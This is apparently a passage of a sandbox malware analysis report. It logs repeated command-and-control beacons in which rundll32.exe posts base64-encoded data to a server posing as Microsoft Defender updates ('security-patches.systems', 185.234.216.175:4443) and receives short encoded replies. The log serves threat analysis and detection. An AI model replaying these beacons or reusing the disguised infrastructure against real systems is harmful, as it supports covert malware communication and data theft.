6e 68 6c 51 32 4e 71 55 79 49 36 49 6e 55 76 63 55 59 79 5a 7a 30 39 49 69 77 69 65 57 6c 70 56 56 68 5a 49 6a 6f 69 63 6d 4a 50 4f 43 38 34 4e 58 46 4a 52 69 38 30 64 6b 46 4f 4e 6a 6c 53 4e 6d 39 76 62 6a 56 55 61 33 64 73 4e 32 52 69 62 32 70 34 61 46 46 33 55 31 5a 6e 57 45 56 6e 53 54 30 69 66 51 3d 3d Data Ascii: data=eyJDS3oiOiJxUHl5IiwiRnN0TCI6InE4ck43cE1wQm5LaWloNEV2VmpTMVJFPSIsInZZdEIiOiJqY0tqIiwidm9KYyI6Im1PYXF5dz09Iiwid0FjSCI6InFPQ095Y3MzYWc9PSIsInhlQ2NqUyI6InUvcUYyZz09IiwieWlpVVhZIjoicmJPOC84NXFJRi80dkFONjlSNm9vbjVUa3dsN2Rib2p4aFF3U1ZnWEVnST0ifQ==
Dec 6, 2024 22:21:20.714920044 CET	218	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:21:20 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 20 Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 55 55 47 51 69 4f 69 4a 71 59 30 74 71 49 6e 30 3d Data Ascii: eyJUUGQiOiJqY0tqIn0=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	49881	185.234.216.175	4443	1908	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 22:21:21.039338112 CET	461	OUT	POST /WinDefUpdates/DefenderUpdates/index.php HTTP/1.1 User-Agent: Microsoft-WNS/10.0 Host: security-patches.systems Content-Length: 245 Content-Type: application/x-www-form-urlencoded Accept-Language: fr-CA Data Raw: 64 61 74 61 3d 65 79 4a 44 53 33 6f 69 4f 69 4a 78 55 48 6c 35 49 69 77 69 52 6e 4e 30 54 43 49 36 49 6e 45 34 63 6b 34 33 63 45 31 77 51 6d 35 4c 61 57 6c 6f 4e 45 56 32 56 6d 70 54 4d 56 4a 46 50 53 49 73 49 6e 5a 5a 64 45 49 69 4f 69 4a 71 59 30 74 71 49 69 77 69 64 6d 39 4b 59 79 49 36 49 6d 31 50 59 58 46 35 64 7a 30 39 49 69 77 69 64 30 46 6a 53 43 49 36 49 6e 46 50 51 30 39 35 59 33 4d 7a 59 57 63 39 50 53 49 73 49 6e 68 6c 51 32 4e 71 55 79 49 36 49 6e 55 76 63 55 59 79 5a 7a 30 39 49 69 77 69 65 57 6c 70 56 56 68 5a 49 6a 6f 69 63 6d 4a 50 4f 43 38 34 4e 58 46 4a 52 69 38 30 64 6b 46 4f 4e 6a 6c 53 4e 6d 39 76 62 6a 56 55 61 33 64 73 4e 32 52 69 62 32 70 34 61 46 46 33 55 31 5a 6e 57 45 56 6e 53 54 30 69 66 51 3d 3d Data Ascii: data=eyJDS3oiOiJxUHl5IiwiRnN0TCI6InE4ck43cE1wQm5LaWloNEV2VmpTMVJFPSIsInZZdEIiOiJqY0tqIiwidm9KYyI6Im1PYXF5dz09Iiwid0FjSCI6InFPQ095Y3MzYWc9PSIsInhlQ2NqUyI6InUvcUYyZz09IiwieWlpVVhZIjoicmJPOC84NXFJRi80dkFONjlSNm9vbjVUa3dsN2Rib2p4aFF3U1ZnWEVnST0ifQ==
Dec 6, 2024 22:21:22.532628059 CET	218	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:21:22 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 20 Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 55 55 47 51 69 4f 69 4a 71 59 30 74 71 49 6e 30 3d Data Ascii: eyJUUGQiOiJqY0tqIn0=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	49885	185.234.216.175	4443	1908	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 22:21:22.794574976 CET	461	OUT	POST /WinDefUpdates/DefenderUpdates/index.php HTTP/1.1 User-Agent: Microsoft-WNS/10.0 Host: security-patches.systems Content-Length: 245 Content-Type: application/x-www-form-urlencoded Accept-Language: fr-CA Data Raw: 64 61 74 61 3d 65 79 4a 44 53 33 6f 69 4f 69 4a 78 55 48 6c 35 49 69 77 69 52 6e 4e 30 54 43 49 36 49 6e 45 34 63 6b 34 33 63 45 31 77 51 6d 35 4c 61 57 6c 6f 4e 45 56 32 56 6d 70 54 4d 56 4a 46 50 53 49 73 49 6e 5a 5a 64 45 49 69 4f 69 4a 71 59 30 74 71 49 69 77 69 64 6d 39 4b 59 79 49 36 49 6d 31 50 59 58 46 35 64 7a 30 39 49 69 77 69 64 30 46 6a 53 43 49 36 49 6e 46 50 51 30 39 35 59 33 4d 7a 59 57 63 39 50 53 49 73 49 6e 68 6c 51 32 4e 71 55 79 49 36 49 6e 55 76 63 55 59 79 5a 7a 30 39 49 69 77 69 65 57 6c 70 56 56 68 5a 49 6a 6f 69 63 6d 4a 50 4f 43 38 34 4e 58 46 4a 52 69 38 30 64 6b 46 4f 4e 6a 6c 53 4e 6d 39 76 62 6a 56 55 61 33 64 73 4e 32 52 69 62 32 70 34 61 46 46 33 55 31 5a 6e 57 45 56 6e 53 54 30 69 66 51 3d 3d Data Ascii: data=eyJDS3oiOiJxUHl5IiwiRnN0TCI6InE4ck43cE1wQm5LaWloNEV2VmpTMVJFPSIsInZZdEIiOiJqY0tqIiwidm9KYyI6Im1PYXF5dz09Iiwid0FjSCI6InFPQ095Y3MzYWc9PSIsInhlQ2NqUyI6InUvcUYyZz09IiwieWlpVVhZIjoicmJPOC84NXFJRi80dkFONjlSNm9vbjVUa3dsN2Rib2p4aFF3U1ZnWEVnST0ifQ==
Dec 6, 2024 22:21:24.372997046 CET	218	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:21:24 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 20 Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 55 55 47 51 69 4f 69 4a 71 59 30 74 71 49 6e 30 3d Data Ascii: eyJUUGQiOiJqY0tqIn0=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	49891	185.234.216.175	4443	1908	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 22:21:24.636548042 CET	461	OUT	POST /WinDefUpdates/DefenderUpdates/index.php HTTP/1.1 User-Agent: Microsoft-WNS/10.0 Host: security-patches.systems Content-Length: 245 Content-Type: application/x-www-form-urlencoded Accept-Language: fr-CA Data Raw: 64 61 74 61 3d 65 79 4a 44 53 33 6f 69 4f 69 4a 78 55 48 6c 35 49 69 77 69 52 6e 4e 30 54 43 49 36 49 6e 45 34 63 6b 34 33 63 45 31 77 51 6d 35 4c 61 57 6c 6f 4e 45 56 32 56 6d 70 54 4d 56 4a 46 50 53 49 73 49 6e 5a 5a 64 45 49 69 4f 69 4a 71 59 30 74 71 49 69 77 69 64 6d 39 4b 59 79 49 36 49 6d 31 50 59 58 46 35 64 7a 30 39 49 69 77 69 64 30 46 6a 53 43 49 36 49 6e 46 50 51 30 39 35 59 33 4d 7a 59 57 63 39 50 53 49 73 49 6e 68 6c 51 32 4e 71 55 79 49 36 49 6e 55 76 63 55 59 79 5a 7a 30 39 49 69 77 69 65 57 6c 70 56 56 68 5a 49 6a 6f 69 63 6d 4a 50 4f 43 38 34 4e 58 46 4a 52 69 38 30 64 6b 46 4f 4e 6a 6c 53 4e 6d 39 76 62 6a 56 55 61 33 64 73 4e 32 52 69 62 32 70 34 61 46 46 33 55 31 5a 6e 57 45 56 6e 53 54 30 69 66 51 3d 3d Data Ascii: data=eyJDS3oiOiJxUHl5IiwiRnN0TCI6InE4ck43cE1wQm5LaWloNEV2VmpTMVJFPSIsInZZdEIiOiJqY0tqIiwidm9KYyI6Im1PYXF5dz09Iiwid0FjSCI6InFPQ095Y3MzYWc9PSIsInhlQ2NqUyI6InUvcUYyZz09IiwieWlpVVhZIjoicmJPOC84NXFJRi80dkFONjlSNm9vbjVUa3dsN2Rib2p4aFF3U1ZnWEVnST0ifQ==
Dec 6, 2024 22:21:26.069452047 CET	218	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:21:25 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 20 Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 55 55 47 51 69 4f 69 4a 71 59 30 74 71 49 6e 30 3d Data Ascii: eyJUUGQiOiJqY0tqIn0=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	49895	185.234.216.175	4443	1908	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 22:21:26.417602062 CET	461	OUT	POST /WinDefUpdates/DefenderUpdates/index.php HTTP/1.1 User-Agent: Microsoft-WNS/10.0 Host: security-patches.systems Content-Length: 245 Content-Type: application/x-www-form-urlencoded Accept-Language: fr-CA Data Raw: 64 61 74 61 3d 65 79 4a 44 53 33 6f 69 4f 69 4a 78 55 48 6c 35 49 69 77 69 52 6e 4e 30 54 43 49 36 49 6e 45 34 63 6b 34 33 63 45 31 77 51 6d 35 4c 61 57 6c 6f 4e 45 56 32 56 6d 70 54 4d 56 4a 46 50 53 49 73 49 6e 5a 5a 64 45 49 69 4f 69 4a 71 59 30 74 71 49 69 77 69 64 6d 39 4b 59 79 49 36 49 6d 31 50 59 58 46 35 64 7a 30 39 49 69 77 69 64 30 46 6a 53 43 49 36 49 6e 46 50 51 30 39 35 59 33 4d 7a 59 57 63 39 50 53 49 73 49 6e 68 6c 51 32 4e 71 55 79 49 36 49 6e 55 76 63 55 59 79 5a 7a 30 39 49 69 77 69 65 57 6c 70 56 56 68 5a 49 6a 6f 69 63 6d 4a 50 4f 43 38 34 4e 58 46 4a 52 69 38 30 64 6b 46 4f 4e 6a 6c 53 4e 6d 39 76 62 6a 56 55 61 33 64 73 4e 32 52 69 62 32 70 34 61 46 46 33 55 31 5a 6e 57 45 56 6e 53 54 30 69 66 51 3d 3d Data Ascii: data=eyJDS3oiOiJxUHl5IiwiRnN0TCI6InE4ck43cE1wQm5LaWloNEV2VmpTMVJFPSIsInZZdEIiOiJqY0tqIiwidm9KYyI6Im1PYXF5dz09Iiwid0FjSCI6InFPQ095Y3MzYWc9PSIsInhlQ2NqUyI6InUvcUYyZz09IiwieWlpVVhZIjoicmJPOC84NXFJRi80dkFONjlSNm9vbjVUa3dsN2Rib2p4aFF3U1ZnWEVnST0ifQ==
Dec 6, 2024 22:21:27.990735054 CET	218	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:21:27 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 20 Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 55 55 47 51 69 4f 69 4a 71 59 30 74 71 49 6e 30 3d Data Ascii: eyJUUGQiOiJqY0tqIn0=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	49901	185.234.216.175	4443	1908	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 22:21:28.247754097 CET	461	OUT	POST /WinDefUpdates/DefenderUpdates/index.php HTTP/1.1 User-Agent: Microsoft-WNS/10.0 Host: security-patches.systems Content-Length: 245 Content-Type: application/x-www-form-urlencoded Accept-Language: fr-CA Data Raw: 64 61 74 61 3d 65 79 4a 44 53 33 6f 69 4f 69 4a 78 55 48 6c 35 49 69 77 69 52 6e 4e 30 54 43 49 36 49 6e 45 34 63 6b 34 33 63 45 31 77 51 6d 35 4c 61 57 6c 6f 4e 45 56 32 56 6d 70 54 4d 56 4a 46 50 53 49 73 49 6e 5a 5a 64 45 49 69 4f 69 4a 71 59 30 74 71 49 69 77 69 64 6d 39 4b 59 79 49 36 49 6d 31 50 59 58 46 35 64 7a 30 39 49 69 77 69 64 30 46 6a 53 43 49 36 49 6e 46 50 51 30 39 35 59 33 4d 7a 59 57 63 39 50 53 49 73 49 6e 68 6c 51 32 4e 71 55 79 49 36 49 6e 55 76 63 55 59 79 5a 7a 30 39 49 69 77 69 65 57 6c 70 56 56 68 5a 49 6a 6f 69 63 6d 4a 50 4f 43 38 34 4e 58 46 4a 52 69 38 30 64 6b 46 4f 4e 6a 6c 53 4e 6d 39 76 62 6a 56 55 61 33 64 73 4e 32 52 69 62 32 70 34 61 46 46 33 55 31 5a 6e 57 45 56 6e 53 54 30 69 66 51 3d 3d Data Ascii: data=eyJDS3oiOiJxUHl5IiwiRnN0TCI6InE4ck43cE1wQm5LaWloNEV2VmpTMVJFPSIsInZZdEIiOiJqY0tqIiwidm9KYyI6Im1PYXF5dz09Iiwid0FjSCI6InFPQ095Y3MzYWc9PSIsInhlQ2NqUyI6InUvcUYyZz09IiwieWlpVVhZIjoicmJPOC84NXFJRi80dkFONjlSNm9vbjVUa3dsN2Rib2p4aFF3U1ZnWEVnST0ifQ==
Dec 6, 2024 22:21:29.766406059 CET	218	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:21:29 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 20 Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 55 55 47 51 69 4f 69 4a 71 59 30 74 71 49 6e 30 3d Data Ascii: eyJUUGQiOiJqY0tqIn0=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	49906	185.234.216.175	4443	1908	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 22:21:30.041013956 CET	461	OUT	POST /WinDefUpdates/DefenderUpdates/index.php HTTP/1.1 User-Agent: Microsoft-WNS/10.0 Host: security-patches.systems Content-Length: 245 Content-Type: application/x-www-form-urlencoded Accept-Language: fr-CA Data Raw: 64 61 74 61 3d 65 79 4a 44 53 33 6f 69 4f 69 4a 78 55 48 6c 35 49 69 77 69 52 6e 4e 30 54 43 49 36 49 6e 45 34 63 6b 34 33 63 45 31 77 51 6d 35 4c 61 57 6c 6f 4e 45 56 32 56 6d 70 54 4d 56 4a 46 50 53 49 73 49 6e 5a 5a 64 45 49 69 4f 69 4a 71 59 30 74 71 49 69 77 69 64 6d 39 4b 59 79 49 36 49 6d 31 50 59 58 46 35 64 7a 30 39 49 69 77 69 64 30 46 6a 53 43 49 36 49 6e 46 50 51 30 39 35 59 33 4d 7a 59 57 63 39 50 53 49 73 49 6e 68 6c 51 32 4e 71 55 79 49 36 49 6e 55 76 63 55 59 79 5a 7a 30 39 49 69 77 69 65 57 6c 70 56 56 68 5a 49 6a 6f 69 63 6d 4a 50 4f 43 38 34 4e 58 46 4a 52 69 38 30 64 6b 46 4f 4e 6a 6c 53 4e 6d 39 76 62 6a 56 55 61 33 64 73 4e 32 52 69 62 32 70 34 61 46 46 33 55 31 5a 6e 57 45 56 6e 53 54 30 69 66 51 3d 3d Data Ascii: data=eyJDS3oiOiJxUHl5IiwiRnN0TCI6InE4ck43cE1wQm5LaWloNEV2VmpTMVJFPSIsInZZdEIiOiJqY0tqIiwidm9KYyI6Im1PYXF5dz09Iiwid0FjSCI6InFPQ095Y3MzYWc9PSIsInhlQ2NqUyI6InUvcUYyZz09IiwieWlpVVhZIjoicmJPOC84NXFJRi80dkFONjlSNm9vbjVUa3dsN2Rib2p4aFF3U1ZnWEVnST0ifQ==
Dec 6, 2024 22:21:31.503984928 CET	218	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:21:31 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 20 Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 55 55 47 51 69 4f 69 4a 71 59 30 74 71 49 6e 30 3d Data Ascii: eyJUUGQiOiJqY0tqIn0=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	49910	185.234.216.175	4443	1908	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 22:21:31.768332005 CET	461	OUT	POST /WinDefUpdates/DefenderUpdates/index.php HTTP/1.1 User-Agent: Microsoft-WNS/10.0 Host: security-patches.systems Content-Length: 245 Content-Type: application/x-www-form-urlencoded Accept-Language: fr-CA Data Raw: 64 61 74 61 3d 65 79 4a 44 53 33 6f 69 4f 69 4a 78 55 48 6c 35 49 69 77 69 52 6e 4e 30 54 43 49 36 49 6e 45 34 63 6b 34 33 63 45 31 77 51 6d 35 4c 61 57 6c 6f 4e 45 56 32 56 6d 70 54 4d 56 4a 46 50 53 49 73 49 6e 5a 5a 64 45 49 69 4f 69 4a 71 59 30 74 71 49 69 77 69 64 6d 39 4b 59 79 49 36 49 6d 31 50 59 58 46 35 64 7a 30 39 49 69 77 69 64 30 46 6a 53 43 49 36 49 6e 46 50 51 30 39 35 59 33 4d 7a 59 57 63 39 50 53 49 73 49 6e 68 6c 51 32 4e 71 55 79 49 36 49 6e 55 76 63 55 59 79 5a 7a 30 39 49 69 77 69 65 57 6c 70 56 56 68 5a 49 6a 6f 69 63 6d 4a 50 4f 43 38 34 4e 58 46 4a 52 69 38 30 64 6b 46 4f 4e 6a 6c 53 4e 6d 39 76 62 6a 56 55 61 33 64 73 4e 32 52 69 62 32 70 34 61 46 46 33 55 31 5a 6e 57 45 56 6e 53 54 30 69 66 51 3d 3d Data Ascii: data=eyJDS3oiOiJxUHl5IiwiRnN0TCI6InE4ck43cE1wQm5LaWloNEV2VmpTMVJFPSIsInZZdEIiOiJqY0tqIiwidm9KYyI6Im1PYXF5dz09Iiwid0FjSCI6InFPQ095Y3MzYWc9PSIsInhlQ2NqUyI6InUvcUYyZz09IiwieWlpVVhZIjoicmJPOC84NXFJRi80dkFONjlSNm9vbjVUa3dsN2Rib2p4aFF3U1ZnWEVnST0ifQ==
Dec 6, 2024 22:21:33.298293114 CET	218	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:21:32 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 20 Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 55 55 47 51 69 4f 69 4a 71 59 30 74 71 49 6e 30 3d Data Ascii: eyJUUGQiOiJqY0tqIn0=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.4	49912	185.234.216.175	4443	1908	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 22:21:33.562880039 CET	461	OUT	POST /WinDefUpdates/DefenderUpdates/index.php HTTP/1.1 User-Agent: Microsoft-WNS/10.0 Host: security-patches.systems Content-Length: 245 Content-Type: application/x-www-form-urlencoded Accept-Language: fr-CA Data Raw: 64 61 74 61 3d 65 79 4a 44 53 33 6f 69 4f 69 4a 78 55 48 6c 35 49 69 77 69 52 6e 4e 30 54 43 49 36 49 6e 45 34 63 6b 34 33 63 45 31 77 51 6d 35 4c 61 57 6c 6f 4e 45 56 32 56 6d 70 54 4d 56 4a 46 50 53 49 73 49 6e 5a 5a 64 45 49 69 4f 69 4a 71 59 30 74 71 49 69 77 69 64 6d 39 4b 59 79 49 36 49 6d 31 50 59 58 46 35 64 7a 30 39 49 69 77 69 64 30 46 6a 53 43 49 36 49 6e 46 50 51 30 39 35 59 33 4d 7a 59 57 63 39 50 53 49 73 49 6e 68 6c 51 32 4e 71 55 79 49 36 49 6e 55 76 63 55 59 79 5a 7a 30 39 49 69 77 69 65 57 6c 70 56 56 68 5a 49 6a 6f 69 63 6d 4a 50 4f 43 38 34 4e 58 46 4a 52 69 38 30 64 6b 46 4f 4e 6a 6c 53 4e 6d 39 76 62 6a 56 55 61 33 64 73 4e 32 52 69 62 32 70 34 61 46 46 33 55 31 5a 6e 57 45 56 6e 53 54 30 69 66 51 3d 3d Data Ascii: data=eyJDS3oiOiJxUHl5IiwiRnN0TCI6InE4ck43cE1wQm5LaWloNEV2VmpTMVJFPSIsInZZdEIiOiJqY0tqIiwidm9KYyI6Im1PYXF5dz09Iiwid0FjSCI6InFPQ095Y3MzYWc9PSIsInhlQ2NqUyI6InUvcUYyZz09IiwieWlpVVhZIjoicmJPOC84NXFJRi80dkFONjlSNm9vbjVUa3dsN2Rib2p4aFF3U1ZnWEVnST0ifQ==
Dec 6, 2024 22:21:35.027105093 CET	218	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:21:34 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 20 Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 55 55 47 51 69 4f 69 4a 71 59 30 74 71 49 6e 30 3d Data Ascii: eyJUUGQiOiJqY0tqIn0=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.4	49917	185.234.216.175	4443	1908	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 22:21:35.294671059 CET	461	OUT	POST /WinDefUpdates/DefenderUpdates/index.php HTTP/1.1 User-Agent: Microsoft-WNS/10.0 Host: security-patches.systems Content-Length: 245 Content-Type: application/x-www-form-urlencoded Accept-Language: fr-CA Data Raw: 64 61 74 61 3d 65 79 4a 44 53 33 6f 69 4f 69 4a 78 55 48 6c 35 49 69 77 69 52 6e 4e 30 54 43 49 36 49 6e 45 34 63 6b 34 33 63 45 31 77 51 6d 35 4c 61 57 6c 6f 4e 45 56 32 56 6d 70 54 4d 56 4a 46 50 53 49 73 49 6e 5a 5a 64 45 49 69 4f 69 4a 71 59 30 74 71 49 69 77 69 64 6d 39 4b 59 79 49 36 49 6d 31 50 59 58 46 35 64 7a 30 39 49 69 77 69 64 30 46 6a 53 43 49 36 49 6e 46 50 51 30 39 35 59 33 4d 7a 59 57 63 39 50 53 49 73 49 6e 68 6c 51 32 4e 71 55 79 49 36 49 6e 55 76 63 55 59 79 5a 7a 30 39 49 69 77 69 65 57 6c 70 56 56 68 5a 49 6a 6f 69 63 6d 4a 50 4f 43 38 34 4e 58 46 4a 52 69 38 30 64 6b 46 4f 4e 6a 6c 53 4e 6d 39 76 62 6a 56 55 61 33 64 73 4e 32 52 69 62 32 70 34 61 46 46 33 55 31 5a 6e 57 45 56 6e 53 54 30 69 66 51 3d 3d Data Ascii: data=eyJDS3oiOiJxUHl5IiwiRnN0TCI6InE4ck43cE1wQm5LaWloNEV2VmpTMVJFPSIsInZZdEIiOiJqY0tqIiwidm9KYyI6Im1PYXF5dz09Iiwid0FjSCI6InFPQ095Y3MzYWc9PSIsInhlQ2NqUyI6InUvcUYyZz09IiwieWlpVVhZIjoicmJPOC84NXFJRi80dkFONjlSNm9vbjVUa3dsN2Rib2p4aFF3U1ZnWEVnST0ifQ==
Dec 6, 2024 22:21:36.738509893 CET	218	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:21:36 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 20 Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 55 55 47 51 69 4f 69 4a 71 59 30 74 71 49 6e 30 3d Data Ascii: eyJUUGQiOiJqY0tqIn0=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.4	49922	185.234.216.175	4443	1908	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 22:21:36.998045921 CET	461	OUT	POST /WinDefUpdates/DefenderUpdates/index.php HTTP/1.1 User-Agent: Microsoft-WNS/10.0 Host: security-patches.systems Content-Length: 245 Content-Type: application/x-www-form-urlencoded Accept-Language: fr-CA Data Raw: 64 61 74 61 3d 65 79 4a 44 53 33 6f 69 4f 69 4a 78 55 48 6c 35 49 69 77 69 52 6e 4e 30 54 43 49 36 49 6e 45 34 63 6b 34 33 63 45 31 77 51 6d 35 4c 61 57 6c 6f 4e 45 56 32 56 6d 70 54 4d 56 4a 46 50 53 49 73 49 6e 5a 5a 64 45 49 69 4f 69 4a 71 59 30 74 71 49 69 77 69 64 6d 39 4b 59 79 49 36 49 6d 31 50 59 58 46 35 64 7a 30 39 49 69 77 69 64 30 46 6a 53 43 49 36 49 6e 46 50 51 30 39 35 59 33 4d 7a 59 57 63 39 50 53 49 73 49 6e 68 6c 51 32 4e 71 55 79 49 36 49 6e 55 76 63 55 59 79 5a 7a 30 39 49 69 77 69 65 57 6c 70 56 56 68 5a 49 6a 6f 69 63 6d 4a 50 4f 43 38 34 4e 58 46 4a 52 69 38 30 64 6b 46 4f 4e 6a 6c 53 4e 6d 39 76 62 6a 56 55 61 33 64 73 4e 32 52 69 62 32 70 34 61 46 46 33 55 31 5a 6e 57 45 56 6e 53 54 30 69 66 51 3d 3d Data Ascii: data=eyJDS3oiOiJxUHl5IiwiRnN0TCI6InE4ck43cE1wQm5LaWloNEV2VmpTMVJFPSIsInZZdEIiOiJqY0tqIiwidm9KYyI6Im1PYXF5dz09Iiwid0FjSCI6InFPQ095Y3MzYWc9PSIsInhlQ2NqUyI6InUvcUYyZz09IiwieWlpVVhZIjoicmJPOC84NXFJRi80dkFONjlSNm9vbjVUa3dsN2Rib2p4aFF3U1ZnWEVnST0ifQ==
Dec 6, 2024 22:21:41.590828896 CET	218	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:21:38 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 20 Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 55 55 47 51 69 4f 69 4a 71 59 30 74 71 49 6e 30 3d Data Ascii: eyJUUGQiOiJqY0tqIn0=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.4	49932	185.234.216.175	4443	1908	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 22:21:41.857400894 CET	461	OUT	POST /WinDefUpdates/DefenderUpdates/index.php HTTP/1.1 User-Agent: Microsoft-WNS/10.0 Host: security-patches.systems Content-Length: 245 Content-Type: application/x-www-form-urlencoded Accept-Language: fr-CA Data Raw: 64 61 74 61 3d 65 79 4a 44 53 33 6f 69 4f 69 4a 78 55 48 6c 35 49 69 77 69 52 6e 4e 30 54 43 49 36 49 6e 45 34 63 6b 34 33 63 45 31 77 51 6d 35 4c 61 57 6c 6f 4e 45 56 32 56 6d 70 54 4d 56 4a 46 50 53 49 73 49 6e 5a 5a 64 45 49 69 4f 69 4a 71 59 30 74 71 49 69 77 69 64 6d 39 4b 59 79 49 36 49 6d 31 50 59 58 46 35 64 7a 30 39 49 69 77 69 64 30 46 6a 53 43 49 36 49 6e 46 50 51 30 39 35 59 33 4d 7a 59 57 63 39 50 53 49 73 49 6e 68 6c 51 32 4e 71 55 79 49 36 49 6e 55 76 63 55 59 79 5a 7a 30 39 49 69 77 69 65 57 6c 70 56 56 68 5a 49 6a 6f 69 63 6d 4a 50 4f 43 38 34 4e 58 46 4a 52 69 38 30 64 6b 46 4f 4e 6a 6c 53 4e 6d 39 76 62 6a 56 55 61 33 64 73 4e 32 52 69 62 32 70 34 61 46 46 33 55 31 5a 6e 57 45 56 6e 53 54 30 69 66 51 3d 3d Data Ascii: data=eyJDS3oiOiJxUHl5IiwiRnN0TCI6InE4ck43cE1wQm5LaWloNEV2VmpTMVJFPSIsInZZdEIiOiJqY0tqIiwidm9KYyI6Im1PYXF5dz09Iiwid0FjSCI6InFPQ095Y3MzYWc9PSIsInhlQ2NqUyI6InUvcUYyZz09IiwieWlpVVhZIjoicmJPOC84NXFJRi80dkFONjlSNm9vbjVUa3dsN2Rib2p4aFF3U1ZnWEVnST0ifQ==
Dec 6, 2024 22:21:43.296139956 CET	218	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:21:42 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 20 Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 55 55 47 51 69 4f 69 4a 71 59 30 74 71 49 6e 30 3d Data Ascii: eyJUUGQiOiJqY0tqIn0=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.4	49939	185.234.216.175	4443	1908	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
